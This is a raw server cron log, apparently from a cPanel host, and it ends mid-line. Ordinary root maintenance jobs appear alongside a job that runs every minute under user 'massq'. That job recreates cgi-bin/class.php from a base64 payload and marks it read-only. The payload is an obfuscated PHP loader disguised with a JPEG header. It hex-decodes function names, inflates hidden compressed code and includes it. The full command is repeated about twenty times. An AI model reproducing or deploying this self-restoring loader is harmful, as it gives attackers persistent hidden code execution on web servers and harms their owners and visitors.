Apr  6 15:54:01 server CROND[14935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:55:01 server CROND[14996]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 15:55:01 server CROND[14997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:55:01 server CROND[14998]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 15:56:01 server CROND[15129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:57:01 server CROND[15197]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:57:01 server CROND[15198]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 15:58:01 server CROND[15291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 15:59:01 server CROND[15357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:00:01 server CROND[15482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:00:01 server CROND[15484]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 16:00:01 server CROND[15485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:00:01 server CROND[15487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:00:01 server CROND[15488]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 16:01:01 server CROND[15658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:01:01 server CROND[15659]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 16:01:01 server run-parts(/etc/cron.hourly)[15659]: starting 0anacron
Apr  6 16:01:01 server run-parts(/etc/cron.hourly)[15671]: finished 0anacron
Apr  6 16:02:01 server CROND[15732]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:03:01 server CROND[15798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:04:01 server CROND[15930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:05:01 server CROND[15994]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 16:05:01 server CROND[15993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:05:01 server CROND[15995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:05:01 server CROND[15996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:06:01 server CROND[16203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:07:01 server CROND[16260]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVR